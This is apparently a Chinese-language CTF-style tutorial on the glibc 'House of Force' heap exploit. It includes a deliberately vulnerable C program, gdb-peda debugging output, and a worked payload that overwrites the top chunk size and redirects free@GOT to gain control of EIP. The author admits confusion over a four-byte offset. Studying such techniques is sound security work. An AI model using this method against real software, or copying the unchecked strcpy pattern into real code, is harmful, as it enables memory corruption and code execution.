the House of Force技术简单分析

堆利用类型：top chunk相关

利用思想：通过修改top chunk大小，使得分配任意大小都是从top chunk里边切出来，这样分配一个大小占满想要写的位置和当前分配位置top chunk的差，下一个分配就可以分配出想要写的位置

利用前提：

1. 需要有办法能够更改到top chunk大小
2. 需要能够知道当前位置和要写位置的差值
3. 需要能够自由控制将要分配的chunk的大小，也就是malloc的参数值
4. 分配后，要能够修改分配出来的内容，这个技巧只负责分配出想要的位置

实例代码如下：

#include <stdio.h>#include <string.h>#include <stdlib.h>int main(int argc, char *argv[]){ char *buf1, *buf2, *buf3; if (argc != 4) return; buf1 = malloc(256); strcpy(buf1, argv[1]); buf2 = malloc(strtoul(argv[2], NULL, 16)); buf3 = malloc(256); strcpy(buf3, argv[3]); free(buf3); free(buf2); free(buf1); return 0;}

编译方式： 

gcc -fno-stack-protector -o House_of_Force House_of_Force.c

使用gdb调试，在buf1 = malloc(256);处下断点，可以看到：

gdb-peda$ pdisass mainDump of assembler code for function main:   0x080484ad <+0>:push   ebp   0x080484ae <+1>:mov    ebp,esp   0x080484b0 <+3>:and    esp,0xfffffff0   0x080484b3 <+6>:sub    esp,0x20   0x080484b6 <+9>:cmp    DWORD PTR [ebp+0x8],0x4   0x080484ba <+13>:je     0x80484c2 <main+21>   0x080484bc <+15>:nop   0x080484bd <+16>:jmp    0x8048567 <main+186>   0x080484c2 <+21>:mov    DWORD PTR [esp],0x100   0x080484c9 <+28>:call   0x8048370 <malloc@plt>   0x080484ce <+33>:mov    DWORD PTR [esp+0x1c],eax   0x080484d2 <+37>:mov    eax,DWORD PTR [ebp+0xc]   0x080484d5 <+40>:add    eax,0x4   0x080484d8 <+43>:mov    eax,DWORD PTR [eax]   0x080484da <+45>:mov    DWORD PTR [esp+0x4],eax   0x080484de <+49>:mov    eax,DWORD PTR [esp+0x1c]   0x080484e2 <+53>:mov    DWORD PTR [esp],eax   0x080484e5 <+56>:call   0x8048360 <strcpy@plt>   0x080484ea <+61>:mov    eax,DWORD PTR [ebp+0xc]   0x080484ed <+64>:add    eax,0x8   0x080484f0 <+67>:mov    eax,DWORD PTR [eax]   0x080484f2 <+69>:mov    DWORD PTR [esp+0x8],0x10   0x080484fa <+77>:mov    DWORD PTR [esp+0x4],0x0   0x08048502 <+85>:mov    DWORD PTR [esp],eax   0x08048505 <+88>:call   0x8048390 <strtoul@plt>   0x0804850a <+93>:mov    DWORD PTR [esp],eax   0x0804850d <+96>:call   0x8048370 <malloc@plt>   0x08048512 <+101>:mov    DWORD PTR [esp+0x18],eax   0x08048516 <+105>:mov    DWORD PTR [esp],0x100   0x0804851d <+112>:call   0x8048370 <malloc@plt>   0x08048522 <+117>:mov    DWORD PTR [esp+0x14],eax   0x08048526 <+121>:mov    eax,DWORD PTR [ebp+0xc]   0x08048529 <+124>:add    eax,0xc   0x0804852c <+127>:mov    eax,DWORD PTR [eax]   0x0804852e <+129>:mov    DWORD PTR [esp+0x4],eax   0x08048532 <+133>:mov    eax,DWORD PTR [esp+0x14]   0x08048536 <+137>:mov    DWORD PTR [esp],eax   0x08048539 <+140>:call   0x8048360 <strcpy@plt>   0x0804853e <+145>:mov    eax,DWORD PTR [esp+0x14]   0x08048542 <+149>:mov    DWORD PTR [esp],eax   0x08048545 <+152>:call   0x8048350 <free@plt>   0x0804854a <+157>:mov    eax,DWORD PTR [esp+0x18]   0x0804854e <+161>:mov    DWORD PTR [esp],eax   0x08048551 <+164>:call   0x8048350 <free@plt>   0x08048556 <+169>:mov    eax,DWORD PTR [esp+0x1c]   0x0804855a <+173>:mov    DWORD PTR [esp],eax   0x0804855d <+176>:call   0x8048350 <free@plt>   0x08048562 <+181>:mov    eax,0x0   0x08048567 <+186>:leave     0x08048568 <+187>:ret    End of assembler dump.gdb-peda$ b *0x080484c9Breakpoint 1 at 0x80484c9gdb-peda$ r $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678Starting program: /home/yang/ctf/House_of_force $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678[----------------------------------registers-----------------------------------]EAX: 0x4 EBX: 0xb7fc0000 --> 0x1a9da8 ECX: 0x3c607cae EDX: 0xbffff034 --> 0xb7fc0000 --> 0x1a9da8 ESI: 0x0 EDI: 0x0 EBP: 0xbffff008 --> 0x0 ESP: 0xbfffefe0 --> 0x100 EIP: 0x80484c9 (<main+28>:call   0x8048370 <malloc@plt>)EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]   0x80484bc <main+15>:nop   0x80484bd <main+16>:jmp    0x8048567 <main+186>   0x80484c2 <main+21>:mov    DWORD PTR [esp],0x100=> 0x80484c9 <main+28>:call   0x8048370 <malloc@plt>   0x80484ce <main+33>:mov    DWORD PTR [esp+0x1c],eax   0x80484d2 <main+37>:mov    eax,DWORD PTR [ebp+0xc]   0x80484d5 <main+40>:add    eax,0x4   0x80484d8 <main+43>:mov    eax,DWORD PTR [eax]Guessed arguments:arg[0]: 0x100 [------------------------------------stack-------------------------------------]0000| 0xbfffefe0 --> 0x100 0004| 0xbfffefe4 --> 0xbffff0a4 --> 0xbffff277 ("/home/yang/ctf/House_of_force")0008| 0xbfffefe8 --> 0xbffff0b8 --> 0xbffff3b0 ("XDG_VTNR=7")0012| 0xbfffefec --> 0xb7e4942d (<__cxa_atexit+29>:test   eax,eax)0016| 0xbfffeff0 --> 0xb7fc03c4 --> 0xb7fc11e0 --> 0x0 0020| 0xbfffeff4 --> 0xb7fff000 --> 0x20f34 0024| 0xbfffeff8 --> 0x804857b (<__libc_csu_init+11>:add    ebx,0x1a85)0028| 0xbfffeffc --> 0xb7fc0000 --> 0x1a9da8 [------------------------------------------------------------------------------]Legend: code, data, rodata, valueBreakpoint 1, 0x080484c9 in main ()gdb-peda$ n[----------------------------------registers-----------------------------------]EAX: 0x804b008 --> 0x0 EBX: 0xb7fc0000 --> 0x1a9da8 ECX: 0xb7fc0420 --> 0x0 EDX: 0x804b008 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xbffff008 --> 0x0 ESP: 0xbfffefe0 --> 0x100 EIP: 0x80484ce (<main+33>:mov    DWORD PTR [esp+0x1c],eax)EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]   0x80484bd <main+16>:jmp    0x8048567 <main+186>   0x80484c2 <main+21>:mov    DWORD PTR [esp],0x100   0x80484c9 <main+28>:call   0x8048370 <malloc@plt>=> 0x80484ce <main+33>:mov    DWORD PTR [esp+0x1c],eax   0x80484d2 <main+37>:mov    eax,DWORD PTR [ebp+0xc]   0x80484d5 <main+40>:add    eax,0x4   0x80484d8 <main+43>:mov    eax,DWORD PTR [eax]   0x80484da <main+45>:mov    DWORD PTR [esp+0x4],eax[------------------------------------stack-------------------------------------]0000| 0xbfffefe0 --> 0x100 0004| 0xbfffefe4 --> 0xbffff0a4 --> 0xbffff277 ("/home/yang/ctf/House_of_force")0008| 0xbfffefe8 --> 0xbffff0b8 --> 0xbffff3b0 ("XDG_VTNR=7")0012| 0xbfffefec --> 0xb7e4942d (<__cxa_atexit+29>:test   eax,eax)0016| 0xbfffeff0 --> 0xb7fc03c4 --> 0xb7fc11e0 --> 0x0 0020| 0xbfffeff4 --> 0xb7fff000 --> 0x20f34 0024| 0xbfffeff8 --> 0x804857b (<__libc_csu_init+11>:add    ebx,0x1a85)0028| 0xbfffeffc --> 0xb7fc0000 --> 0x1a9da8 [------------------------------------------------------------------------------]Legend: code, data, rodata, value0x080484ce in main ()gdb-peda$ x/20x $eax-0x100x804aff8:0x000000000x000000000x000000000x000001090x804b008:0x000000000x000000000x000000000x000000000x804b018:0x000000000x000000000x000000000x000000000x804b028:0x000000000x000000000x000000000x000000000x804b038:0x000000000x000000000x000000000x00000000gdb-peda$ 

创建的部分堆地址为0x804b008，堆首数据为0x109.

根据堆内存布局

堆首自身size第一位表示是否被分配，很明显这里已经分配了，所以是1，所以堆首0x109=256+8+1

堆后边的数据（内存高地址）保存的就是top chunk，所以如果往buf1中复制的数据过多时，就会覆盖掉top thunk的堆首信息，top thunk 的堆首有8个字节组成，前四个字节表示的是buf1的大小，后四个字节表示的是top thunk的大小 。

如果可以覆盖后四个字节，就可以控制top thunk的大小了 后续就可以从top thunk中分配任意大小数据了

所以此处我们用LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF"')将top thunk覆盖为无限大。

下边就是wilderness了。

看一下buf2，它的大小我们可以控制，假设buf2和free@got相距x，那么只要将buf2大小设置为x-8，（为什么是减8，而不是减4）那么就可以在下次分配时（buf3），覆盖free@got的地址了，以后如果调用函数free，那么就可以调用我们的shellcode了。

buf2的返回地址是0x804b110，我们找一下free@got的地址：

gdb-peda$ pdisass 0x8048350 Dump of assembler code from 0x8048350 to 0x8048370::Dump of assembler code from 0x8048350 to 0x8048370:   0x08048350 <free@plt+0>:jmp    DWORD PTR ds:0x804a00c   0x08048356 <free@plt+6>:push   0x0   0x0804835b <free@plt+11>:jmp    0x8048340   0x08048360 <strcpy@plt+0>:jmp    DWORD PTR ds:0x804a010   0x08048366 <strcpy@plt+6>:push   0x8   0x0804836b <strcpy@plt+11>:jmp    0x8048340End of assembler dump.

可以看到free@got的地址为0x804a00c

计算下偏移（补码形式）：

0x804a00c-0x804b110-8=0xffffeef4(为什么减去8，而不是4，内存对齐，八字节倍数)

这样下次malloc buf3并且strcpy的时候 就将我们的数据写入了free函数地址，导致调用free的时候，执行了我们的shellcode。

但是可能是字节对齐的原因，最后我的oayload是这样写的：

$(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678

最后控制$eip为0x38373635.可以看到还是向后移动了四个字节，我也不知道为什么。

note：发现一个奇怪的现象，当malloc（10）的时候堆首是0x11 当malloc（15）的时候堆首是0x19,不是很奇怪吗？也就是说当申请10字节时，堆首是0x4大小，当申请大于15字节时，堆首是0x8大小，其中前四个字节是0x00，后四个字节是堆大小加上是否分配的标志位。

其实是这样的，当chunk的前一个chunk处于allocated状态时，那么当前chunk的pre+size是没有用的，所以就被用来存储前一个chunk的数据，同理，下一个chunk的pre_size就被用来存储当前chunk的数据。原来堆在32位下是8字节对齐的，其他0x00填充。

参考文章：

1. 如何理解堆和堆溢出漏洞的利用？（http://www.freebuf.com/vuls/98404.html#）

2. [翻译]堆溢出技术：Malloc Maleficarum之The House of Force（http://bbs.pediy.com/thread-216179.htm）

3. pwn工具箱之house of force（http://blog.csdn.net/qq_29343201/article/details/74194447）